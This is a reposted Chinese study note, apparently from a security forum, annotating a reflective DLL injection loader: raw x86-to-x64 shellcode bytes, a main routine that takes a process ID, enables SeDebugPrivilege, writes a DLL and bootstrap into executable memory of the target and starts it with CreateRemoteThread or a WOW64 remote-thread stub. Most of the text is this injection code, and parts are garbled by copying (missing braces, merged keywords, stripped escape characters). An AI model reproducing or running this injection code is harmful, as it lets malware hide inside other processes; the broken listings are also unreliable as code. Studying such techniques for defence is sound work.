zoukankan      html  css  js  c++  java
  • 远程线程的注入 PE的修正

    远程线程的注入 PE的修正

    https://bbs.pediy.com/thread-222187.htm

    从github上下载了ReflectiverLoader认真学习了一下 在代码中得到一些心得和自己的想法,都按步骤写到了代码中,现在分享给大家,如有错,望大家指正

    其中需要注入的dll和解析, 内存RVA与 文件RVA的转换代码(汇编与c++的都有)和解析,shellcode的汇编附到最后的链接中 

     一.这是用到的shellocode

    作用:经调试得出他是为了解决x86下运行x64 的问题(windbg可以看到是通过远跳转到x64下执行)

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    static BYTE __ExecutexX64[] = "x55x89xE5x56x57x8Bx75x08x8Bx4Dx0CxE8x00x00x00x00"
    "x58x83xC0x25x83xECx08x89xE2xC7x42x04x33x00x00x00"
    "x89x02xE8x09x00x00x00x83xC4x14x5Fx5Ex5DxC2x08x00"
    "x8Bx3Cx24xFFx2Ax48x31xC0x57xFFxD6x5Fx50xC7x44x24"
    "x04x23x00x00x00x89x3Cx24xFFx2Cx24";
     
    static BYTE __FunctionX64[] = "xFCx48x89xCEx48x89xE7x48x83xE4xF0xE8xC8x00x00x00"
    "x41x51x41x50x52x51x56x48x31xD2x65x48x8Bx52x60x48"
    "x8Bx52x18x48x8Bx52x20x48x8Bx72x50x48x0FxB7x4Ax4A"
    "x4Dx31xC9x48x31xC0xACx3Cx61x7Cx02x2Cx20x41xC1xC9"
    "x0Dx41x01xC1xE2xEDx52x41x51x48x8Bx52x20x8Bx42x3C"
    "x48x01xD0x66x81x78x18x0Bx02x75x72x8Bx80x88x00x00"
    "x00x48x85xC0x74x67x48x01xD0x50x8Bx48x18x44x8Bx40"
    "x20x49x01xD0xE3x56x48xFFxC9x41x8Bx34x88x48x01xD6"
    "x4Dx31xC9x48x31xC0xACx41xC1xC9x0Dx41x01xC1x38xE0"
    "x75xF1x4Cx03x4Cx24x08x45x39xD1x75xD8x58x44x8Bx40"
    "x24x49x01xD0x66x41x8Bx0Cx48x44x8Bx40x1Cx49x01xD0"
    "x41x8Bx04x88x48x01xD0x41x58x41x58x5Ex59x5Ax41x58"
    "x41x59x41x5Ax48x83xECx20x41x52xFFxE0x58x41x59x5A"
    "x48x8Bx12xE9x4FxFFxFFxFFx5Dx4Dx31xC9x41x51x48x8D"
    "x46x18x50xFFx76x10xFFx76x08x41x51x41x51x49xB8x01"
    "x00x00x00x00x00x00x00x48x31xD2x48x8Bx0Ex41xBAxC8"
    "x38xA4x40xFFxD5x48x85xC0x74x0Cx48xB8x00x00x00x00"
    "x00x00x00x00xEBx0Ax48xB8x01x00x00x00x00x00x00x00"
    "x48x83xC4x50x48x89xFCxC3";
     

    二.用到的结构体 宏定义和哈希值(利用MakeHanValue计算就行,代码中有小注释)

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    #define MYFUNCTION_HASH     0x6654bba6 // hash of "MyFunction"
    enum {
        UNKNOWN,
        X86,
        X64
    };
     
     
    #define DEREFERENCE   (Value) *(UINT_PTR *)(Value)
    #define DEREFERENCE_64(Value) *(DWORD64 *)(Value)
    #define DEREFERENCE_32(Value) *(DWORD *)(Value)
    #define DEREFERENCE_16(Value) *(WORD *)(Value)
    #define DEREFERENCE_8 (Value) *(BYTE *)(Value)
     
    typedef BOOL (WINAPI *LPFN_ISWOW64PROCESS) (HANDLE, PBOOL);
     
    typedef BOOL(WINAPI* LPFN_FUNCTIONX64)(DWORD ParameterData);
    typedef DWORD(WINAPI* LPFN_EXECUTEX64)(LPFN_FUNCTIONX64 FunctionX64, DWORD ParameterData);
     
    typedef struct _WOW64CONTEXT_
    {
        union
        {
            HANDLE ProcessHandle;
            BYTE   Padding[8];
        }u1;
     
        union
        {
            LPVOID ThreadProcedure;
            BYTE   Padding[8];
        }u2;
     
        union
        {
            LPVOID ParameterData;
            BYTE   Padding[8];
        }u3;
        union
        {
            HANDLE ThreadHandle;
            BYTE   Padding[8];
        }u4;
    } WOW64CONTEXT, *LPWOW64CONTEXT;
     

    三.主函数的解析

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    80
    81
    82
    83
    84
    85
    86
    87
    88
    int main()
    {
    HANDLE FileHandle = NULL;
    ULONG  FileLength = 0;
    LPVOID FileData = NULL;
    ULONG  ReturnLength = 0;
    HANDLE ProcessHandle = NULL;
    HANDLE RemoteThreadHandle = NULL;
    DWORD  ExitCode = 0;
    if (EnableSeDebugPrivilege(L"SeDebugPrivilege", TRUE) == FALSE)
    {
    return 0;
    }
    DWORD ProcessID = 0;
    printf("Input ProcessID: ");
    scanf("%d", &ProcessID);
    #ifdef_WIN64
    char* DllFullPath = "ReflectiveLoader.dll";
    #else
    char* DllFullPath = "ReflectiveLoader.dll";
    #endif
    //1.打开文件
    FileHandle = CreateFileA(DllFullPath, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
    if (FileHandle == INVALID_HANDLE_VALUE)
    {
    printf("CreateFileA() Error ");
    goto Exit;
    }
    //2.获得大小
    FileLength = GetFileSize(FileHandle, NULL);
    if (FileLength == INVALID_FILE_SIZE || FileLength == 0)
    {
    printf("GetFileSize() Error ");
    goto Exit;
    }
    //3.申请堆内存
    FileData = HeapAlloc(GetProcessHeap(), 0, FileLength);
    if (!FileData)
    {
    printf("HeapAlloc() Error ");
    goto Exit;
    }
    //4.读内存
    if (ReadFile(FileHandle, FileData, FileLength, &ReturnLength, NULL) == FALSE)
    {
    printf("HeapAlloc() Error ");
    goto Exit;
    }
    //以下是对目标进行操作
    //5.打开目标进程
    ProcessHandle = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ,
    FALSE, ProcessID);
    if (!ProcessHandle)
    {
    printf("OpenProcess() Error ");
    goto Exit;
    }
    //6.加载动态库
    RemoteThreadHandle = LoadRemoteLibrary(ProcessHandle, FileData, FileLength, NULL,MYFUNCTION_HASH,(LPVOID)"911",strlen("911")+1);
    if (!RemoteThreadHandle)
    {
    printf("LoadRemoteLibrary() Error ");
    goto Exit;
    }
    printf("LoadRemoteLibrary() Success ");
    //7.远程线程等待注入
    WaitForSingleObject(RemoteThreadHandle, INFINITE);
    if (!GetExitCodeThread(RemoteThreadHandle, &ExitCode))
    printf("Input AnyKey To Exit ");
    getchar();
    //8.释放内存
    Exit:
    if (FileData)
    {
    HeapFree(GetProcessHeap(), 0, FileData);
    }
    if (FileHandle!=NULL)
        {
    CloseHandle(FileHandle);
    FileHandle = NULL;
        }
    if (ProcessHandle)
    {
    CloseHandle(ProcessHandle);
    ProcessHandle = NULL;
    }
    return 0;
    }

    四. LoadRemoteLibrary的解读(其中三种获得目标体系结构的方法 我记入了笔记)

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    80
    81
    82
    83
    84
    85
    86
    87
    88
    89
    90
    91
    92
    93
    94
    95
    96
    97
    98
    99
    100
    101
    102
    103
    104
    105
    106
    107
    108
    109
    110
    111
    112
    113
    114
    115
    116
    117
    118
    119
    120
    121
    122
    123
    124
    125
    126
    127
    128
    129
    130
    131
    132
    133
    134
    135
    136
    137
    138
    139
    140
    141
    142
    143
    144
    145
    146
    147
    148
    149
    150
    151
    152
    153
    154
    155
    156
    157
    158
    159
    160
    161
    162
    163
    164
    165
    HANDLEWINAPI LoadRemoteLibrary(
    HANDLEProcessHandle,
    LPVOIDFileData,   //Dll文件数据
    DWORDFileLength,
    LPVOIDParameterData,
    DWORDFunctionHash,//函数哈希值
    LPVOIDUserData,
    DWORDUserDataLength)
    {
    HANDLE RemoteThreadHandle = NULL;
    DWORD  RemoteThreadID = 0;
    DWORD TargetArchitecture = X86; //目标体系结构
    DWORD DllArchitecture = UNKNOWN;
    #ifdefined(_WIN64)
    DWORD CurrentArchitecture = X64;
    #elifdefined(_WIN32)
    DWORD CurrentArchitecture=X86
    #else
    #endif
    __try
    {
    do
    {
    if (!ProcessHandle || !FileData || !FileLength)
    {
    break;
    }
    //第一幕
    // 1.获得目标进程的Architecture 进程通过内核获得体系结构
    HMODULE KernelModuleBase = LoadLibraryA("kernel32.dll");
    if (!KernelModuleBase)
    break;
    __IsWow64Process = (LPFN_ISWOW64PROCESS)GetProcAddress(KernelModuleBase, "IsWow64Process");
    FreeLibrary(KernelModuleBase);
    if (__IsWow64Process)
    {
    BOOL IsOK;
    if (!__IsWow64Process(ProcessHandle, &IsOK));
    {
    break;
    }
    if (IsOK)
    {
    TargetArchitecture = X86;
    }
    else
    {
    //通过系统判断32位与64
    SYSTEM_INFO SystemInfo = 0 };
    GetNativeSystemInfo(&SystemInfo);
    if (SystemInfo.wProcessorArchitecture == PROCESSOR_ARCHITECTURE_AMD64)
    TargetArchitecture = X64;
    elseif (SystemInfo.wProcessorArchitecture == PROCESSOR_ARCHITECTURE_INTEL)
    TargetArchitecture = X86;
    else
    break;
    }
    }
    // 2.通过PE获得获得Dll的Architecture
    //MZ头+e_lfanew=NT头
    PIMAGE_NT_HEADERS ImageNtHeaders = (PIMAGE_NT_HEADERS)(((PUINT8)FileData) + ((PIMAGE_DOS_HEADER)FileData)->e_lfanew);
    if (ImageNtHeaders->OptionalHeader.Magic == IMAGE_NT_OPTIONAL_HDR32_MAGIC) // PE32
    DllArchitecture = X86;
    elseif (ImageNtHeaders->OptionalHeader.Magic == IMAGE_NT_OPTIONAL_HDR64_MAGIC) // PE64
    DllArchitecture = X64;
    // 3.判断DLL和目标进程是否是相同的架构??
    if (DllArchitecture != TargetArchitecture)
    {
    printf("Must Be Same Architecture ");
    break;
    }
    //第二幕
    //1.再次检查动态库的装入
    // check if the library has a ReflectiveLoader...
    DWORD ReflectiveLoaderOffset = GetReflectiveLoaderOffset(FileData);
    if (!ReflectiveLoaderOffset)
    {
    printf("Could Not Get ReflectiveLoader Offset ");
    break;
    }
    DWORD RemoteBufferLength = FileLength
    + UserDataLength
    + 64// shellcode buffer
    // 2.alloc memory (RWX) in the host process for the image...
    LPVOID RemoteBufferData = VirtualAllocEx(ProcessHandle, NULL, RemoteBufferLength, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    if (!RemoteBufferData)
    {
    break;
    }
    printf("VirtualAllocEx() Success ");
    //3.1 write the image into the host process...将图像写入主进程。
    //RemoteBufferData 指向写入数据的指定进程中的基地址的指针
    if (!WriteProcessMemory(ProcessHandle, RemoteBufferData, FileData, FileLength, NULL))
    break;
    //基地址+偏移
    ULONG_PTR ReflectiveLoader = (ULONG_PTR)RemoteBufferData + ReflectiveLoaderOffset;
    //3.2 write our userdata blob into the host process
    ULONG_PTR RemoteUserData = (ULONG_PTR)RemoteBufferData + FileLength;
    if (!WriteProcessMemory(ProcessHandle, (LPVOID)RemoteUserData, UserData, UserDataLength, NULL))
    break;
    //3.3写shellcode
    ULONG_PTR RemoteShellCode = RemoteUserData + UserDataLength;
    BYTE Bootstrap[64= 0 };
    DWORD BootstrapLength = CreateBootstrap(
    Bootstrap,
    64,
    TargetArchitecture,
    (ULONG_PTR)ParameterData,
    (ULONG_PTR)RemoteBufferData,
    FunctionHash,
    RemoteUserData,
    UserDataLength,
    ReflectiveLoader);
    if (BootstrapLength <= 0)
    {
    break;
    }
    printf("%p ", RemoteShellCode);
    getchar();
    if (!WriteProcessMemory(ProcessHandle, (LPVOID)RemoteShellCode, Bootstrap, BootstrapLength, NULL))
    break;
    printf("Wrote ShellCode Success ");
    /*
    此处的写入图
    RemoteBufferData[FileData的基地址]
    写入FileData
    RemoteUserData[UserData的基地址]
    写入UserData
    RemoteShellCode
    写入Bootstrap
    */
    //确保我们的更改是马上写的
    FlushInstructionCache(ProcessHandle, RemoteBufferData, RemoteBufferLength);
    printf("%p ", RemoteShellCode);
    getchar();
    getchar();
    //第三幕 判断主体与客体的位 并且创建线程执行
    // 目标64  当前32
    if (CurrentArchitecture == X86 && TargetArchitecture == X64)
    {
    Wow64CreateRemoteThread(ProcessHandle, (LPVOID)RemoteShellCode, ParameterData, &RemoteThreadHandle);
    ResumeThread(RemoteThreadHandle);
    }
    else
    {
    //目标32  当前32
    //目标64  当前64
    //目标32  当前64
    RemoteThreadHandle = CreateRemoteThread(ProcessHandle, NULL, 1024 * 1024,
    (LPTHREAD_START_ROUTINE)RemoteShellCode, ParameterData,
    (DWORD)NULL, &RemoteThreadID);
    /*lpStartAddress [in]指向由线程执行的类型为LPTHREAD_START_ROUTINE的应用程序
    定义函数的指针,并表示远程进程中线程的起始地址。该功能必须存在于远程进程中。
    lpParameter [in]
    指向要传递给线程函数的变量的指针。
    */
    }
    while (0);
    }
    __except (EXCEPTION_EXECUTE_HANDLER)
    {
    RemoteThreadHandle = NULL;
    }
    return RemoteThreadHandle;
    }
     

    五.  Wow64CreateRemoteThread解读

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    DWORD Wow64CreateRemoteThread(HANDLEProcessHandle, LPVOIDThreadProcedure, LPVOIDParameterData, HANDLE * ThreadHandle)
    {
    DWORD Result = ERROR_SUCCESS;
    LPFN_EXECUTEX64  ExecuteX64 = NULL;
    LPFN_FUNCTIONX64 FunctionX64 = NULL;
    WOW64CONTEXT*  Wow64Context = NULL;
    OSVERSIONINFO  OsVersionInfo = 0 };
    do
    {
    //第一幕 判断系统是否合适
    OsVersionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);
    if (!GetVersionEx(&OsVersionInfo))
    {
    printf("GetVersionEx() Error ");
    break;
    }
    // filter out Windows 2003
    if (OsVersionInfo.dwMajorVersion == 5 && OsVersionInfo.dwMinorVersion == 2)
    {
    printf("Is 2003 Error ");
    break;
    }
    //第二幕
    //1.分别为ExecuteX64,FunctionX64申请shellcode大小的内存兵赋值
    /*shellcode经过调试得出是通过远跳转到64位进程中执行 惭愧 瞎调了一遍还没有掌握调试方法 有点难。。。*/
    ExecuteX64 = (LPFN_EXECUTEX64)VirtualAlloc(NULL, sizeof(__ExecutexX64), MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    if (!ExecuteX64)
    {
    printf("VirtualAlloc() Error ");
    break;
    }
    FunctionX64 = (LPFN_FUNCTIONX64)VirtualAlloc(NULL, sizeof(__FunctionX64) + sizeof(WOW64CONTEXT), MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    if (!FunctionX64)
    {
    printf("VirtualAlloc() Error ");
    break;
    }
    // copy over the wow64->x64 stub
    memcpy(ExecuteX64, &__ExecutexX64, sizeof(__ExecutexX64));
    // copy over the native x64 function
    memcpy(FunctionX64, &__FunctionX64, sizeof(__FunctionX64));
    //2.设置上下背景文
    Wow64Context = (WOW64CONTEXT *)((BYTE *)FunctionX64 + sizeof(__FunctionX64));
    Wow64Context->u1.ProcessHandle   = ProcessHandle;   //目标进程句柄
    Wow64Context->u2.ThreadProcedure = ThreadProcedure;
    Wow64Context->u3.ParameterData   = ParameterData;
    Wow64Context->u4.ThreadHandle    = NULL;
    //3.执行该代码的环境是32
    if (!ExecuteX64(FunctionX64, (DWORD)Wow64Context))  
    {
    printf("ExecuteX64() Error ");
    break;
    }
    //作为一个标识
    if (!Wow64Context->u4.ThreadHandle)
    {
    printf("ThreadHandle Is NULL ");
    break;
    }
    // 4.成功! 从上下文中抓取新的线程句柄
    *ThreadHandle = Wow64Context->u4.ThreadHandle;
    while (0);
    //5.退出
    if (ExecuteX64)
    {
    VirtualFree(ExecuteX64, 0, MEM_RELEASE);
    ExecuteX64 = NULL;
    }
    if (FunctionX64)
    {
    VirtualFree(FunctionX64, 0, MEM_RELEASE);
    FunctionX64 = NULL;
    }
    return Result;
    }
     

    ========== End

  • 相关阅读:
    Java openrasp学习记录(一)
    Java ASM3学习(3)
    Java ASM3学习(2)
    Java Instrumentation插桩技术学习
    Java ASM3学习(1)
    从JDK源码学习HashSet和HashTable
    从JDK源码学习HashMap
    从JDK源码学习ArrayList
    Java XXE漏洞典型场景分析
    CVE-2020-7961 Liferay Portal 复现分析
  • 原文地址:https://www.cnblogs.com/lsgxeva/p/12923973.html
Copyright © 2011-2022 走看看